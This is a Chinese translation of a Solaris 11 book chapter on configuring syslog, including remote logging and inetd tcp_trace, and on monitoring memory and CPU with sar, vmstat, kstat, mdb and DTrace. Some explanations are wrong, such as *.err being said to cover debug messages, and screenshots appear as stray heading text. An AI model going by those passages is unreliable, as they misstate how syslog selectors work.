  • 《Solaris 性能与工具:DTrace 和 MDB 技术用于 Solaris 10 和 OpenSolaris》Brendan GreggJim MauroRichard McDougallPrentice Hall;ISBN-13:978-0131568198

  • DTraceToolkit 网站在 www.brendangregg.com/dtracetoolkit.html

  • Dtrace.org 网站在 dtrace.org/blogs/

第九章:配置 Syslog 和监控性能

在本章中,我们将讨论以下主题:

  • 配置 syslog

  • 监控 Oracle Solaris 11 的性能

简介

在本章中,我们将学习两个重要主题:syslog 和性能监控。前者是日常管理的基本任务,非常适合解决在 Oracle Solaris 11 中可能发生的以下事件和问题。配置 syslog 与其他 UNIX 系统非常相似,但会有一些特别的细节是专门与 Oracle Solaris 相关的。

讨论 syslog 框架意味着讨论系统中一个非常重要的部分,它负责事件消息的记录。任何安全问题、硬件变更和故障、内核事件或一般问题都会记录在日志文件中。此外,应用程序也会将它们的消息记录到日志文件中。syslog 框架在我们进行取证分析时发挥着特别的作用。syslog 框架具有核心作用。当我们调查恶意软件攻击时,日志也很重要。如果我们需要创建故障排除过程,那么 syslog 框架保存和管理的记录是至关重要的。这就是 syslog 框架的真正重要性,因为它的责任是将任何类型的消息转发到日志文件中,依据消息的类别和严重性。

后者的主题,性能监控,向我们介绍了一个完整的新世界,我们甚至可以为这个主题写一本完整的书。这里的想法是学习一些基本的原则和命令,帮助发现系统中的性能问题。收集到的指标可以用于调优任务,主要目标是提高性能并尽可能保持相同的硬件配置。这非常有用,因为管理人员不希望在没有必要的情况下购买昂贵的硬件,而实际上,可能只需对系统做一些修改就能达到预期效果。

配置 syslog

syslog 框架是 Oracle Solaris 11 最重要的特性之一,因为它的目标是记录每秒钟发生的所有事件。这些记录可以用于调查系统中的任何可疑行为。像大多数书籍一样,我们不会深入探讨关于 syslog 的不必要的细节和理论。这里的主要目的是展示如何配置、监控和使用 syslog。

准备工作

本教程需要两台虚拟机(VirtualBox 或 VMware),分别命名为 solaris11-1solaris11-2,这两台虚拟机均运行 Oracle Solaris 11,内存至少为 2 GB,并且具备一个网络接口。

如何做到这一点……

syslog 框架由一个主守护进程(syslogd)和它相应的配置文件(/etc/syslog.conf)组成。要获取与 syslog 服务相关的详细信息,我们必须执行以下 SMF 管理命令:

root@solaris11-1:~# svcs -l svc:/system/system-log:default
fmri         svc:/system/system-log:default
name         system log
enabled      true
state        online
next_state   none
state_time   May 19, 2014 01:29:14 AM BRT
logfile      /var/svc/log/system-system-log:default.log
restarter    svc:/system/svc/restarter:default
contract_id  117 
manifest     /root/chapter5/myprofile.xml
manifest     /etc/svc/profile/generic.xml
manifest     /lib/svc/manifest/system/system-log.xml
dependency   require_all/none svc:/milestone/self-assembly-complete (online)
dependency   require_all/none svc:/system/filesystem/local (online)
dependency   optional_all/none svc:/system/filesystem/autofs (online)
dependency   require_all/none svc:/milestone/name-services (online)
root@solaris11-1:~# svcs -x svc:/system/system-log:default
svc:/system/system-log:default (system log)
 State: online since May 19, 2014 01:29:14 AM BRT
   See: syslogd(1M)
   See: /var/svc/log/system-system-log:default.log
Impact: None.

正如我们提到的 syslog 服务,它有一个配置文件,名为 /etc/syslog.conf,如下所示:

root@solaris11-1:~# more /etc/syslog.conf 
#
#ident  "%Z%%M%  %I%  %E% SMI"  /* SunOS 5.0 */
#
# Copyright (c) 1991-1998 by Sun Microsystems, Inc.
# All rights reserved.
#
# syslog configuration file.
#
# This file is processed by m4 so be careful to quote (`') names
# that match m4 reserved words.  Also, within ifdef's, arguments
# containing commas must be quoted.
#
*.err;kern.notice;auth.notice      /dev/sysmsg
*.err;kern.debug;daemon.notice;mail.crit  /var/adm/messages

*.alert;kern.err;daemon.err      alexandre
*.alert            root

*.emerg            *

# if a non-loghost machine chooses to have authentication messages
# sent to the loghost machine, un-comment out the following line:
#auth.notice      ifdef(`LOGHOST', /var/log/authlog, @loghost)

mail.debug      ifdef(`LOGHOST', /var/log/syslog, @loghost)

#
# non-loghost machines will use the following lines to cause "user"
# log messages to be logged locally.
#
ifdef(`LOGHOST', ,
user.err          /dev/sysmsg
user.err          /var/adm/messages
user.alert          `root, operator'
user.emerg          *
)

该配置文件简单,只有两列,选择器和目标,且两者由制表符(而不是空格)分隔。

选择器列由facility.level格式的两个组件组成,语法定义如下:

<facility>.<level>        <target>

facility组件确定消息的类别或类型(KERN、USER、MAIL、DAEMON、AUTH、NEWS、UUCP、CRON、AUDIT、LOCAL 0-7 和*),level组件表示优先级(EMERG、ALERT、CRIT、ERROR、WARNING、NOTICE、INFO 和 DEBUG,按降序排列)。此外,目标列是消息的目的地,目标可以是设备文件、文件、用户或主机。

现在我们将看到一些/etc/syslog.conf配置文件的实际示例及其相应的语法:

  • *.err;kern.notice;auth.notice /dev/sysmsg:所有优先级为错误(err)的消息(设施无关),任何kernel设施的优先级为noticenoticewarningerrorcriticalalertemergency)或更高的消息,以及任何auth设施的优先级为notice或更高的消息都将发送到/dev/sysmsg

  • *.err;kern.debug;daemon.notice;mail.crit /var/adm/messages:所有优先级为debug的消息(设施无关),任何kernel设施的debug优先级或更高的消息,任何daemon设施的notice优先级或更高的消息,以及所有mail设施的critical优先级或更高的消息都将发送到/var/adm/messages文件。

  • *.alert;kern.err;daemon.err alexandre:在这个例子中,所有优先级为alert或更高的消息,所有kernel设施的错误(err)或更高优先级的消息,以及所有daemon设施的错误(err)或更高优先级的消息都将发送到alexandre用户。

  • *.emerg *:在这一行,所有优先级为emerg或更高的消息将发送到所有已登录的用户。

  • local7.alert @solaris11-2:任何local7设施的优先级为alert或更高的消息将被发送到另一个主机(solaris11-2)。

  • mail.debug ifdef(`LOGHOST', /var/log/syslog, @loghost):这是一个很好的示例,因为任何优先级为debug或更高的mail设施的消息都可以发送到/etc/hosts文件中指定的两个不同目标。

如果LOGHOST变量(如前所示)被设置(在同一行定义)为 localhost,mail.debug消息将被发送到/var/log/syslog文件。然而,如果LOGHOST关键字被设置为另一个主机(例如,solaris11-2 machine),则mail.debug消息将被发送到solaris11-2主机。

由于/etc/hosts文件用于指定这些特殊的主机名,我们可以验证以下示例:

root@solaris11-1:~# more /etc/hosts
#
# Copyright 2009 Sun Microsystems, Inc.  All rights reserved.
# Use is subject to license terms.
#
# Internet host table
#
::1 solaris11-1 localhost 
127.0.0.1 solaris11-1 localhost loghost 
192.168.1.144  solaris11-1  solaris11-1.example.com
192.168.1.155  solaris11-2  solaris11-2.example.com

在这种情况下,loghost 被配置为本地主机(solaris11-1),因此任何具有 mail 服务并且优先级为 debug 的消息必须发送到 /var/adm/message 文件。

从这些示例中,你可以注意到以下几点:

  • 消息可以发送到两个或更多不同的地方,正如前两个示例所示。

  • 如果消息被发送到另一个主机,例如最后一个配置行中的示例,则目标主机必须有类似的行来处理接收到的消息。

  • /etc/syslog.conf 文件的任何更改都需要重新启动 syslog 服务(svcadm restart svc:/system/system-log:defaultsvcadm restart svc:/system/system-log:default)。

让我们进行一个真实的测试。在 solaris11-1 系统中,编辑 /etc/syslog.conf 文件并添加以下行:

local7.emerg          @solaris11-2

solaris11-1 机器的 /etc/hosts 文件中添加 solaris11-2 系统,并确保可以从 solaris11-1 系统访问,如以下命令所示:

root@solaris11-1:~# ping solaris11-2
solaris11-2 is alive
root@solaris11-1:~# more /etc/syslog.conf 
(truncated output)
# non-loghost machines will use the following lines to cause "user"
# log messages to be logged locally.
#
ifdef(`LOGHOST', ,
user.err          /dev/sysmsg
user.err          /var/adm/messages
user.alert          `root, operator'
user.emerg          *
)
local7.emerg          @solaris11-2

solaris11-1 系统中,通过执行以下命令刷新 syslog 服务:

root@solaris11-1:~# svcadm refresh svc:/system/system-log:default

如果由于某种原因 syslog 配置没有生效,可以通过运行以下命令来重新启动它:

root@solaris11-1:~# svcadm restart svc:/system/system-log:default
root@solaris11-1:~# svcs svc:/system/system-log:default
STATE          STIME    FMRI
online          4:58:45 svc:/system/system-log:default

在另一个系统(solaris11-2)上,我们需要在 /etc/syslog.conf 文件的末尾添加以下行:

local7.emerg          /var/adm/new_messages

由于此文件不存在,我们可以按以下命令创建它:

root@solaris11-2:~# touch /var/adm/new_messages

system-log:default 服务中有一个名为 log_from_remote 的属性,它应该设置为 true,以允许远程主机(solaris11-1)将任何消息记录到 solaris11-2 系统中。然而,问题在于这个参数通常配置为 false。此外,一个配置文件(/etc/default/syslog)也控制远程日志记录行为,如以下命令所示:

root@solaris11-2:~# more /etc/default/syslogd 
#ident  "%Z%%M%  %I%  %E% SMI"
#
# Copyright 2006 Sun Microsystems, Inc.  All rights reserved.
# Use is subject to license terms.
#
# /etc/default/syslogd
#
# Legacy configuration file for syslogd(1M). See syslogd(1M).
#
# This file should no longer be directly used to configure syslogd. 
# These settings are kept here for backwards compatibility only. 
# Please use svccfg(1M) to modify the properties of syslogd(1M).
#
# The LOG_FROM_REMOTE setting used to affect the logging of remote
# messages. Its definition here will override the svccfg(1M) settings
# for log_from_remote.
#
#LOG_FROM_REMOTE=YES

现在,让我们详细看看。如果 LOG_FROM_REMOTE 变量(来自 /etc/default/syslogd 文件)设置为 YESNO,则 log_from_remote 属性(来自 system-log:default 服务)分别启用或禁用。然而,如果 LOG_FROM_REMOTE 变量被注释掉(如前面的文件所示),则 log_from_remote 属性(来自 system-log:default 服务)的值生效。

因此,为了简化我们的工作,我们将启用 log_from_remote 属性,而不更改 /etc/default/syslogd 配置文件,并重新启动服务,如以下命令所示:

root@solaris11-2:~# svccfg -s svc:/system/system-log setprop config/log_from_remote = true
root@solaris11-2:~# svcadm restart svc:/system/system-log:default
root@solaris11-2:~# svcs svc:/system/system-log:default
STATE          STIME    FMRI
online         13:38:17 svc:/system/system-log:default

在同一个 solaris11-2 系统中,我们需要跟踪 /var/adm/new_messages 以确认 solaris11-1 的消息是否到达,使用以下命令:

root@solaris11-2:~# tail -f /var/adm/new_messages

solaris11-1 系统上,是时候测试配置了,我们可以使用 logger 命令来生成一个具有指定设施和级别的消息,使用 -p 选项。在这种情况下,我们将生成 Alexandre Borges 消息,它将被归类为 local7 并具有 emerg 优先级。根据 /etc/syslog.conf 配置文件,消息将发送到 solaris11-2 主机。一旦消息到达,它将被发送到 /var/adm/new_messages 文件,如以下命令所示:

root@solaris11-1:~# logger -p local7.emerg Alexandre Borges

完成了!返回到 solaris11-2 主机,我们可以通过执行以下命令确认消息是否已经到达:

root@solaris11-2:~# tail -f /var/adm/new_messages
May 19 13:41:44 solaris11-1.example.com root: [ID 702911 local7.emerg] Alexandre Borges

完美!一切如预期那样工作!

在继续讲解日志记录的内容时,一些网络服务有自己的日志配置,理解这一点的最佳方法是通过查看另一个实际示例。例如,选择 telnet 服务并使用以下命令检查其配置:

root@solaris11-1:~# inetadm -l telnet
SCOPE    NAME=VALUE
         name="telnet"
         endpoint_type="stream"
         proto="tcp6"
         isrpc=FALSE
         wait=FALSE
         exec="/usr/sbin/in.telnetd"
         user="root"
default  bind_addr=""
default  bind_fail_max=-1
default  bind_fail_interval=-1
default  max_con_rate=-1
default  max_copies=-1
default  con_rate_offline=-1
default  failrate_cnt=40
default  failrate_interval=60
default  inherit_env=TRUE
         tcp_trace=FALSE
default  tcp_wrappers=FALSE
default  connection_backlog=10
default  tcp_keepalive=FALSE

正如我们在之前的输出中看到的,tcp_trace 属性被设置为 false,这样就不会将任何 telnet 消息发送到 syslog 服务。可以通过运行以下命令来更改此默认行为:

root@solaris11-1:~# inetadm -m telnet tcp_trace=true 
root@solaris11-1:~# inetadm -l telnet | grep tcp_trace
tcp_trace=TRUE

root@solaris11-1:~# inetadm | grep telnet
enabled   online         svc:/network/telnet:default

要验证 telnet 事件,我们必须从 solaris11-2 系统执行一次 telnet 操作,并检查 solaris11-1 主机上的 /var/adm/messages 文件,如以下命令所示:

root@solaris11-2:~# telnet solaris11-1
Trying 192.168.1.144...
Connected to solaris11-1.example.com.
Escape character is '^]'.
login: borges
Password: hacker123!
Oracle Corporation      SunOS 5.11      11.1    September 2012
-bash-4.1$

solaris11-1 主机上,通过执行以下命令来验证 /var/adm/ 消息日志文件的内容:

root@solaris11-1:~# tail -3 /var/adm/messages
May 19 15:03:44 solaris11-1 mDNSResponder: [ID 702911 daemon.warning] SendResponses: No active interface to send:   33 _OSInstall._tcp.local. PTR borges_ai._OSInstall._tcp.local.

May 19 15:03:44 solaris11-1 mDNSResponder: [ID 702911 daemon.warning] SendResponses: No active interface to send:   36 _OSInstall._tcp.local. PTR default-i386._OSInstall._tcp.local.

May 19 15:15:02 solaris11-1 inetd[829]: [ID 317013 daemon.notice] telnet[2677] from 192.168.1.155 40498

成功了!然而,为什么使用 tcp_trace=true 配置的服务的消息会进入 /var/adm/message 文件呢?因为所有来自此属性的消息都被归类为 daemon.notice(记住 facility.severity 语法),根据 /etc/syslog.conf 文件,我们有如下命令:

root@solaris11-1:~# cat /etc/syslog.conf | grep /var/adm/messages
*.err;kern.debug;daemon.notice;mail.crit  /var/adm/messages
user.err          /var/adm/messages

我们可以通过一个简单的命令配置所有网络服务的日志记录功能,而不是为每个网络服务单独配置日志功能:

root@solaris11-1:~# inetadm -M tcp_trace=true

现在,所有通过 inetadm 框架控制的网络服务都已配置为根据 /etc/syslog.conf 配置文件将日志记录到 system-log:default 服务。

配方概述

我们已经学习了如何使用 system-log:default 服务(即 syslogd 守护进程)和其相关的配置文件(/etc/syslog.conf)来配置 Oracle Solaris 11 中的日志服务。此外,我们还了解了如何为通过 inetadm 框架控制的网络服务配置日志功能。

监控 Oracle Solaris 11 的性能

当我们在资源丰富的环境中工作时,毫无疑问,管理所有系统变得更加容易。然而,如何处理那些运行 Oracle Solaris 11 且资源有限的关键系统呢?我们如何在 Oracle Solaris 11 上找到并监控这些稀缺资源?

关于 Oracle Solaris 性能和调优的主题是一个非常长且复杂的话题,无法完全讲解;它值得一本书来专门探讨所有细节。然而,我们将学习足够的监控细节和命令,足以激励你深入研究这一主题。

准备就绪

本食谱需要一台运行 Oracle Solaris 11 的虚拟机(VirtualBox 或 VMware),至少配置 2 GB RAM。建议系统配置两个或更多处理器或核心。

如何操作……

从根本上讲,Oracle Solaris 11 由 CPU、RAM 和 I/O 设备组成,并且有许多方法可以监控系统。此外,有一些非常重要的参数,因此从检查内存子系统开始我们的学习是非常合适的。

第一步是启用系统收集 sar 统计数据,如下命令所示:

root@solaris11-1:~# svcs -a | grep sar
disabled        0:37:02 svc:/system/sar:default
root@solaris11-1:~# svcadm enable svc:/system/sar:default
root@solaris11-1:~# svcs -a | grep sar
online          4:34:57 svc:/system/sar:default

通过使用 prtconflgrpinfo 命令,我们可以找到总安装内存。另外,执行 pagesize 命令可以查找内存中页面的大小,最后,使用 sar –r 可以获取空闲内存和交换空间,如下命令所示:

root@solaris11-1:~# prtconf | grep -i memory
Memory size: 4096 Megabytes
root@solaris11-1:~# lgrpinfo 
lgroup 0 (root):
  Children: none
  CPU: 0
  Memory: installed 4.0G, allocated 1.3G, free 2.7G
  Lgroup resources: 0 (CPU); 0 (memory)
  Load: 0.297
  Latency: 0
root@solaris11-1:~# pagesize
4096
root@solaris11-1:~# sar -r 1 3
SunOS solaris11-1 5.11 11.1 i86pc    05/21/2014
01:45:09 freemem freeswap
01:45:10  632394  5876128
01:45:11  632439  5877184
01:45:12  632476  5876128

Average   632436  5876480

在上述命令中,freemem 列表示平均可用页面数(此处为 4K),freeswap 列表示用于页面交换的磁盘块的平均数量。

也可以使用非常智能的命令获取空闲内存(以 4 KB 页面为单位):

root@solaris11-1:~# kstat -p unix:0:system_pages:freemem
unix:0:system_pages:freemem  632476

获取空闲交换空间的典型方法是使用以下命令:

root@solaris11-1:~# swap –l
swapfile                 dev    swaplo   blocks     free
/dev/zvol/dsk/rpool/swap 285,2     8    2097144  2097144

在这种情况下,我们应该记住,空闲空间以扇区(512 字节)为单位显示。

通过另一种方式,可以从 模块化调试器MDB)获取空闲交换信息:

root@solaris11-1:~# echo ::swapinfo | mdb –k
            ADDR            VNODE     PAGES      FREE NAME
ffffc1000743e378 ffffc10007df3d00    262143    262143 /dev/zvol/dsk/rpool/swap

此外,同一个 MDB 还可以通过执行以下命令为我们提供大量有关内存状态的信息:

root@solaris11-1:~# echo ::memstat | mdb –k
Page Summary                Pages                MB  %Tot
------------     ----------------  ----------------  ----
Kernel                     215458               841   21%
ZFS File Data              132510               517   13%
Anon                       101485               396   10%
Exec and libs                4105                16    0%
Page cache                  17361                67    2%
Free (cachelist)            14411                56    1%
Free (freelist)            563133              2199   54%
Total                     1048463              4095

该输出显示了内核(Kernel)使用的内存量、ZFS 文件数据ZFS)使用的内存量,以及内存中匿名页面的数量(堆、栈、共享内存和写时复制页面的总和)。

页面缓存(存储在虚拟内存中)由所有最近读取和写入的常规文件系统数据(文件和目录数据)构成,ZFS 数据除外(ZFS 数据存储在 自适应替换 缓存ARC)中)。正如我们之前提到的,常规 ZFS 文件系统数据存储在页面缓存中,因为 mmap ZFS 数据也存储在那里。

空闲(freelist)是指与进程和文件无关的实际空闲内存量。缓存列表是指空闲列表中未映射文件页的数量。

页面缓存的基本和粗略工作原理是,任何必要的文件系统数据都会被提取到 segmap 缓存中。

Segmap 缓存是一种一级缓存或暂存区,用于存储最近从文件系统(UFSVxFSNFSQFS)读取的页面,并将其保存在内核虚拟内存中的页面中,以便复制到用户空间缓冲区。然而,如果在 segmap 缓存中找不到信息,内核会尝试在 cachelist(未映射的文件系统页面)中查找请求的数据。此外,segmap 缓存不被 ZFS 文件系统使用。一个有趣的概念是,freelistcachelist 相关联,这表明当需要一些空闲内存页面时,内核首先尝试从 freelist 中获取页面,但如果无法获得,内核将从 cachelist 中获取页面。

顺便说一句,为了完整性,segmap 缓存统计信息可以通过运行以下命令找到:

root@solaris11-1:~# kstat -n segmap
module: unix                            instance: 0     
name:   segmap                          class:    vm
  crtime                          0
  fault                           69
  faulta                          0
  free                            0
  free_dirty                      0
(truncated output)

kstat 命令也适合显示补充的页面系统信息。请记住,内存中的页面大小为 4 KB,可以通过执行以下命令来查找:

root@solaris11-1:~# kstat -n system_pages
module: unix                            instance: 0     
name:   system_pages                    class:    pages
  availrmem                       696041
  crtime                          0
  desfree                         8159
  desscan                         25
  econtig                         4229439488
  fastscan                        473831
  freemem                         585862
  kernelbase                      0
  lotsfree                        16318
  minfree                         4079
  nalloc                          44993593
  nalloc_calls                    19577
  nfree                           42000307
  nfree_calls                     13223
  nscan                           0
  pagesfree                       585862
  pageslocked                     348325
  pagestotal                      1044366
  physmem                         1044366
  pp_kernel                       362807
  slowscan                        100
  snaptime                        6181.186029253

另一个有趣的附注是:availrmem 是可用于分配的未锁定内存量。此外,如果我们执行相同的 kstat 命令,还可以获得系统范围的页面统计信息,如下所示:

root@solaris11-1:~# kstat -n vm
module: cpu                             instance: 0     
name:   vm                              class:    misc
  anonfree                        0
  anonpgin                        0
  anonpgout                       0
  as_fault                        941681
  cow_fault                       151186
  crtime                          42.291984164
  dfree                           0
  execfree                        0
  execpgin                        0
  execpgout                       0
  fsfree                          0
  fspgin                          32
  fspgout                         0
  hat_fault                       0
  kernel_asflt                    0
  maj_fault                       5
  pgfrec                          149071
  pgin                            6
  pgout                           0
  pgpgin                          32
  pgpgout                         0
  pgrec                           149071
  pgrrun                          4
  pgswapin                        0
  pgswapout                       0
  prot_fault                      162132
  rev                             0
  scan                            97276
  snaptime                        6715.331061273
  softlock                        17396
  swapin                          0
  swapout                         0
  zfod                            399824

从这庞大的输出中,有一些参数特别引人注目:

  • anonfree:定义了在页面被交换到磁盘后释放的堆和栈页面

  • anopgin:定义了从磁盘交换进来的堆和栈页面

  • anonpgout:定义了从交换区交换出去的堆和栈页面

  • maj_fault:定义了因页面不在内存中而需要从磁盘查找页面的操作数

  • pgswapin:定义了交换进来的页面数

  • pgswapout:定义了交换出去的页面数

返回到一般的内存统计信息,有一个已知的命令 vmstat(使用 -p 选项来报告分页活动),它可以披露有用的细节,如下所示:

root@solaris11-1:~# vmstat -p 1 5
     memory           page          executable      anonymous      filesystem 
   swap  free  re  mf  fr  de  sr  epi  epo  epf  api  apo  apf  fpi  fpo  fpf
 3243004 2845352 237 1317 0 0 266    0    0    0    0    0    0    0    0    0
 2844188 2438808 14 57  0   0   0    0    0    0    0    0    0    0    0    0
 2843132 2438060 0  2   0   0   0    0    0    0    0    0    0    0    0    0
 2843132 2437664 0  2   0   0   0    0    0    0    0    0    0    0    0    0
 2842604 2437128 0 25   0   0   0    0    0    0    0    0    0    0    0    0

该输出带给我们一些有关 swap(可用交换空间,单位为 KB)和 free(空闲内存量)有趣的信息。还有其他关键参数,如 sr(每秒扫描的页面数,目的是找到足够的空闲内存)、api(匿名页面输入)和 apo(匿名页面输出)。通常,sr 值(扫描率)大于零表示存在内存不足的问题,而 apiapo 的高值则表示内存不足,且往返交换区的操作次数较多。此外,由于匿名页面输入操作会对系统性能产生不利影响,我们可以使用 DTrace 工具通过运行以下命令之一来查找所有执行大量页面输入操作的可执行文件:

  • root@solaris11-1:~# dtrace -n 'vminfo:::anonpgin { @[pid, execname] = count(); }'

  • root@solaris11-1:~# dtrace -n 'vminfo:::pgpgin { @pg[execname] = sum(arg0); }'

找到导致性能问题的可执行文件后,就该决定我们能做些什么了。最终,可能需要将有问题的应用程序迁移到其他系统。

有一种有趣的方法可以验证一个进程是否遇到内存问题,使用 prstat 命令,如下所示:

root@solaris11-1:~# prstat -mLc 1 1

上述命令的输出如下所示:

How to do it…

首先,我们使用的选项如下:

  • -m:此选项报告微观状态进程的统计信息。

  • -c:此选项将新报告打印在前一个报告下方,而不是覆盖它们。

  • -L:此选项报告每个轻量级进程LWP)的统计信息。默认情况下,prstat 命令仅报告每个进程的 LWP 数量。

DFL 列表示进程处理数据页面缺失的时间百分比,换句话说,就是内存不足。理想情况下,这个值应该为零。

对于日常管理,我们习惯执行 vmstat 命令来收集关于虚拟内存的信息,如以下命令所示:

root@solaris11-1:~# vmstat 1 5
 kthr      memory            page            disk          faults      cpu
 r b w   swap  free  re  mf pi po fr de sr s0 s1 s2 --   in   sy   cs us sy id
 0 0 0 2855860 2439648 28 159 0 0  0  0 19 12  0  0  0  568 2519  741  2  4 94
 0 0 0 2773564 2364844 14 57 0  0  0  0  0  0  0  0  0  552  793  587  1  3 96
 1 0 0 2773564 2364764 0  0  0  0  0  0  0  0  0  0  0  583  677  590  1  2 97
 0 0 0 2773564 2364764 0  0  0  0  0  0  0  0  0  0  0  548  662  567  1  4 95
 0 0 0 2773564 2364764 0  0  0  0  0  0  0  0  0  0  0  566  655  574  2  2 96

一些有用的列包括 w(被交换出的线程数量)、swap(空闲交换空间的 KB 数)、free(空闲内存,包括页面缓存和空闲列表的 KB 数)、re(从页面缓存中回收的页面数量)、pipo(分别为分页进和分页出的 KB 数),以及 sr(扫描内存中可用页面的页数)。

从前面的命令中有一个很好的变化是 vmstat –s(显示自启动以来各种系统事件的总数),如以下命令所示:

root@solaris11-1:~# vmstat –s
        0 swap ins
        0 swap outs
        0 pages swapped in
        0 pages swapped out
   762167 total address trans. faults taken
        7 page ins
        0 page outs
        7 pages paged in
        0 pages paged out
   135490 total reclaims
   135490 reclaims from free list
        0 micro (hat) faults
   762167 minor (as) faults
        7 major faults
   148638 copy-on-write faults
   257547 zero fill page faults
   148476 pages examined by the clock daemon
        0 revolutions of the clock hand
        0 pages freed by the clock daemon
      967 forks
     1670 vforks
     2876 execs
  2840211 cpu context switches
  1877292 device interrupts
   925020 traps
  8412869 system calls
  2901338 total name lookups (cache hits 86%)
     9114 user   cpu
    16207 system cpu
   298592 idle   cpu
        0 wait   cpu

我已经突出显示了从 vmstat –s 输出中提取的主要统计信息,如下所示:

  • pages swapped in:指的是被交换进来的页面数量(从交换空间到内存)。理想值为零。

  • pages swapped out:指的是被交换出去的页面数量(从内存到交换空间)。理想值为零。

  • reclaims from free list:指的是从空闲列表中的空闲页缓存回收的页面总数。回收的页面是因为空间不足而释放的内存页面,但它们还没有被其他进程使用,也没有被换出到交换空间。较高的值可能表示内存不足。

  • major faults:指的是未在物理内存中找到的页面数量;这些页面是从磁盘中读取的。理想值接近零。

  • total name lookups:每当一个文件被打开时,它的路径名会存储在一个名为 目录名称查找缓存DNLC)的特殊位置。该统计信息显示了内核在缓存(DNLC)中找到目录路径的次数,而无需从磁盘上读取这些信息。大于 90% 的值非常好!获取 DNLC 信息的另一种方式是使用 kstat

可以通过执行以下命令收集专门的 DNLC 缓存信息:

root@solaris11-1:~# kstat -n dnlcstats
module: unix                            instance: 0     
name:   dnlcstats                       class:    misc
  crtime                          38.737278004
  dir_add_abort                   0
  dir_add_max                     0
  dir_add_no_memory               0
  dir_cached_current              0
  dir_cached_total                0
  dir_entries_cached_current      0
  dir_fini_purge                  0
  dir_hits                        0
  dir_misses                      0
  dir_reclaim_any                 0
  dir_reclaim_last                0
  dir_remove_entry_fail           0
  dir_remove_space_fail           0
  dir_start_no_memory             0
  dir_update_fail                 0
  double_enters                   40
  enters                          112579
  hits                            2439710
  misses                          408555
  negative_cache_hits             89113
  pick_free                       0
  pick_heuristic                  0
  pick_last                       0
  purge_all                       0
  purge_fs1                       0
  purge_total_entries             60
  purge_vfs                       10
  purge_vp                        40
  snaptime                        1136.042407346

可以计算 DNLC 的效率,计算公式为 (*hits/(hits + misses)) * 100。因此,根据前面的输出,我们得出以下结论:

DNLC 的效率 = (2439710 / (2439710 + 408555)) * 100 = 85.67%

从之前的输出中可以得出一个有趣的解释:每当我们开始在磁盘上查找目录路径信息时,85 次该信息会在 DNLC 缓存中找到。

获取 DNLC 统计信息的另一个巧妙方法是使用 sar 命令,如下所示:

root@solaris11-1:~# sar -a 1 5
SunOS solaris11-1 5.11 11.1 i86pc    05/21/2014
04:37:12  iget/s namei/s dirbk/s
04:37:13       19       14       6
04:37:14       5       14       4
04:37:15       10       18       9
04:37:16       13       10       11
04:37:17       8       13       12

Average        11       14       8

iget/s 列显示了在 DNLC 上未找到的 inode 目录路径请求的次数。该列的理想值是零。然而,如果 iget/s 的值不等于零,我们可以通过修改 /etc/system 文件并更改 ncsize 参数来改善这一统计数据,如以下命令所示:

set ncsize = value

ncsize 参数定义了目录名称查找缓存(DNLC)中的条目数量,这个参数被 UFS、NFS 和 ZFS 用来缓存已解析的路径名元素。

默认情况下,值是通过公式 (4 * (v.v_proc + maxusers) + 320) + (4 * (v.v_proc + maxusers) + 320) / 100 动态计算的。此外,可以通过执行以下命令找到当前值:

root@solaris11-1:~# echo ncsize/D | mdb -k
ncsize:
ncsize:         129797

在谈论 DNLC 时,另一个热门话题是缓冲区缓存。缓冲区缓存存储着 inode 的元数据,这些元数据包含 DNLC 上的目录路径信息。缓冲区缓存的统计信息可以通过运行以下命令获得,如下截图所示:

如何操作…

%rcache%wcache 列分别告诉我们元数据在读取/写入操作中被找到的次数百分比。非常好的值是 %rcache,应当超过 90%,以及 %wcache,应当超过 70%。

在管理内存性能时,一个关键问题是要知道是否发生了物理错误,比如故障内存或 ECC 错误。在这种情况下,我们可以通过运行以下命令来验证系统中的内存和所有其他硬件组件是否正常工作:

root@solaris11-1:~# fmadm faulty
root@solaris11-1:~# fmstat -s -m cpumem-retire
NAME                                  >N     T CNT                    DELTA STAT

幸运的是,我的机器上没有错误。

在尝试调整 Oracle Solaris 11 性能时,一个巨大的关注点是 CPU。最终,系统中的潜在性能问题是 CPU 无法及时处理所有请求。例如,vmstat 命令可以帮助我们识别操作系统是否显示 CPU 瓶颈,执行以下命令:

root@solaris11-1:~# vmstat 1 5 
 kthr      memory            page            disk          faults      cpu
 r b w   swap  free  re  mf pi po fr de sr s0 s1 s2 --   in   sy   cs us sy id
 5 3 0 2876068 2470716 77 324 0 0  0  0 89 21  0  1  0  580 2862  904  3  5 92
 3 3 0 2764212 2357504 14 58 0  0  0  0  56  14  0  0  0  547  758  582  2  3 95
 7 4 0 2763576 2357380 67  88  0  0  0  0  72  13  0  0  0  601 1445  691  4  4 92
 2 4 0 2763576 2357380 34  65  0  0  0  0  72  16  0  0  0  586 1595  700  4  5 91
 5 2 0 2763576 2357380 25  64  0  0  0  68  65  11  0  0  0  614 1904  752  5  5 90

kthr:r 列表示在运行队列(调度队列的总和)中等待 CPU 的就绪线程总数。超过核心处理器或 CPU 数量的常量值可能表示处理器瓶颈,除以 kthr:r/CPU 或核心数是比较服务器 CPU 性能的一个好方法。

使用 DTraceToolkit,我们有一个 dispqlen.d 脚本,显示每个 CPU 或核心调度队列,指示任何 CPU 饱和的情况。幸运的是,在以下命令中并没有出现这种情况:

root@solaris11-1:~/DTraceToolkit-0.99/Bin# ./dispqlen.d 
Sampling... Hit Ctrl-C to end.
^C^C
 CPU 2
           value  ------------- Distribution ------------- count    
             < 0 |                                         0        
               0 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  75201    
               1 |@                                        2380     
               2 |                                         59       
               3 |                                         0        

 CPU 0
           value  ------------- Distribution ------------- count    
             < 0 |                                         0        
               0 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  75157    
               1 |@                                        2431     
               2 |                                         52       
               3 |                                         0        

 CPU 1
           value  ------------- Distribution ------------- count    
             < 0 |                                         0        
               0 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  75097    
               1 |@                                        2467     
               2 |                                         67       
               3 |                                         8        
               4 |                                         1        
               5 |                                         0        

 CPU 3
           value  ------------- Distribution ------------- count    
             < 0 |                                         0        
               0 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  75051    
               1 |@                                        2540     
               2 |                                         49       
               3 |                                         0   

一个与 vmstat 中的 kthr:r 列输出类似的命令是 sar –q 中的 runq-sz 列:

root@solaris11-1:~# sar -q 1 4
SunOS solaris11-1 5.11 11.1 i86pc    05/21/2014
21:52:45 runq-sz %runocc swpq-sz %swpocc
21:52:46     0.0       0     0.0       0
